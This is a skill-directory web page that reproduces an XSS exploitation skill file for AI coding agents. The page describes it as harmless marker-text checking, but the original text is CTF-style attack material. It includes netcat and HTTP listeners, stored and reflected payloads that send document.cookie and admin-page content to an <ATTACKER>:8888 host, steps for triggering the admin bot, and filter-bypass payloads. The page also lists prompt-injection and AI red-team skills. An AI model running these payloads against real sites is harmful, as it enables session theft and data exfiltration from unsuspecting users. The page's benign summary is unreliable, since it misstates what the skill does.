xss
What it does
This guide covers cross-site scripting flaws, where an app runs untrusted code in a visitor's browser. It is for developers and security testers checking how input and output are cleaned up.
When to use it
- ✓When an authorized test finds input that appears unchanged in a page.
- ✓When a search, comment or profile field shows user content on other visitors' screens.
- ✓When a team wants to check its content security policy against script injection.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agent’s skills folder.
Example of what to ask your AI
“Our search page seems to show what users type without cleaning it. Can you check whether that is a cross-site scripting risk?”
5 new skills a week. 1 minute to read.
How it works
The agent sends harmless marker text, checks whether it appears unescaped in the page, and reports where output needs proper encoding or a stricter content policy.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
Cross-Site Scripting (XSS) Exploitation
Exploits insufficient input/output sanitization to execute JavaScript in a victim's browser context.
Win Condition — Identify FIRST
Pattern A — Bot/Cookie Chain (classic CTF):
- A headless browser bot visits a URL you supply via
/reportor/contact - Goal: exfiltrate
document.cookieor admin page content to your listener - Signals:
/reportendpoint exists, challenge mentions "admin visits", cookie in session
Pattern B — Server-Side Alert Trigger (Cross 30/31/32 series):
- NO bot, NO cookie exfiltration, NO
/reportendpoint (returns 404) - The challenge evaluates reflected JS server-side;
alert("XSS")oralert(1)in the response = flag - Flag appears directly in the HTTP response body when alert triggers
- Signals: challenge name contains "Cross", filter says "Sorry, you can't use that tag",
new_umbrella/error_umbrellain response, alphanumeric filter active - Do NOT: start listeners, look for /report, try document.cookie (setter is frozen — TypeError)
Quick check which pattern:
curl -s "$TARGET/report" -o /dev/null -w "%{http_code}" # 404 = Pattern B (Cross)
curl -s "$TARGET/" | grep -i "report\|bot\|admin" # Pattern A signals
Detection
# Reflected XSS probe — check if input is reflected unescaped
curl -s 'http://<TARGET>/search?q=<script>alert(1)</script>' | grep -i '<script>alert(1)'
# Check for reflection in different contexts
curl -s 'http://<TARGET>/search?q=xss"test' | grep 'xss"test' # attribute context
curl -s 'http://<TARGET>/search?q=xss'"'"'test' | grep "xss'test" # JS string context
# Test attribute injection
curl -s 'http://<TARGET>/page?name=test"onmouseover="alert(1)' | grep 'onmouseover'
# Test common input fields via POST
curl -s 'http://<TARGET>/comment' -d 'body=<img src=x onerror=alert(1)>'
curl -s 'http://<TARGET>/register' -d 'username=<script>alert(1)</script>&password=test'
Stored XSS with Bot Exfiltration (CTF Pattern)
The standard CTF XSS workflow:
- Find a stored input (comments, profiles, messages)
- Inject a payload that exfiltrates data when the admin bot views it
- Trigger the bot (usually a
/reportendpoint) - Receive exfiltrated flag on your listener
# 1. Start a listener to receive exfiltrated data
python3 -m http.server 8888 &
# Or use netcat:
nc -lvnp 8888 &
# 2. Inject stored XSS that exfiltrates cookies
# Basic cookie steal
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("http://<ATTACKER>:8888/?c="+document.cookie)</script>'
# Image tag (bypasses many filters that block <script>)
curl -s 'http://<TARGET>/comment' -d 'body=<img src=x onerror="fetch(`http://<ATTACKER>:8888/?c=${document.cookie}`)">'
# SVG-based
curl -s 'http://<TARGET>/comment' -d 'body=<svg onload="fetch(`http://<ATTACKER>:8888/?c=${document.cookie}`)">'
# Fetch admin page content and exfiltrate
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("/admin").then(r=>r.text()).then(t=>fetch("http://<ATTACKER>:8888/?d="+btoa(t)))</script>'
# Fetch sensitive endpoint directly (adjust path to observed app structure)
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("/api/secret").then(r=>r.text()).then(t=>fetch("http://<ATTACKER>:8888/?f="+btoa(t)))</script>'
# 3. Trigger the bot to visit the page with injected XSS
curl -s 'http://<TARGET>/report' -d 'url=http://<TARGET>/page-with-stored-xss'
curl -s 'http://<TARGET>/report' -d 'url=/page-with-stored-xss'
# 4. Check listener output — decode base64 if used
echo '<base64_response>' | base64 -d
Reflected XSS Flag Extraction
# If the flag is in the admin's cookie and there's a report/visit endpoint:
# Craft URL with reflected XSS that steals cookies
PAYLOAD='<script>fetch("http://<ATTACKER>:8888/?c="+document.cookie)</script>'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")
curl -s "http://<TARGET>/report" -d "url=http://<TARGET>/search?q=$ENCODED"
Filter Bypass Techniques
# Case variation
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>
# No parentheses
<img src=x onerror="alert`1`">
<img src=x onerror="window['alert'](1)">
# No quotes / no spaces
<img/src=x/onerror=alert(1)>
<svg/onload=alert(1)>
# HTML entity encoding bypass
<img src=x onerror="alert(1)">
# JavaScript URL scheme
<a href="javascript:alert(1)">click</a>
<iframe src="javascript:alert(1)">
# Event handlers (bypass <script> tag bloc
FAQ
What are the three types?
The guide covers reflected, stored and DOM-based cross-site scripting.
What is a content security policy?
It is a browser setting that limits which scripts a page may run, which the guide mentions as a defense.
How is a finding confirmed?
By showing that test text appears unescaped in a page where it should be encoded.
Details
Original description by the author
Cross-Site Scripting (XSS) — reflected, stored, DOM-based XSS exploitation. Covers filter bypass, CSP evasion, bot-triggered cookie exfiltration, admin page scraping, and headless browser flag extraction. Use for any challenge involving client-side JavaScript injection, Cross payloads, cookie theft, or browser-based exploitation.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14088
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- …
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.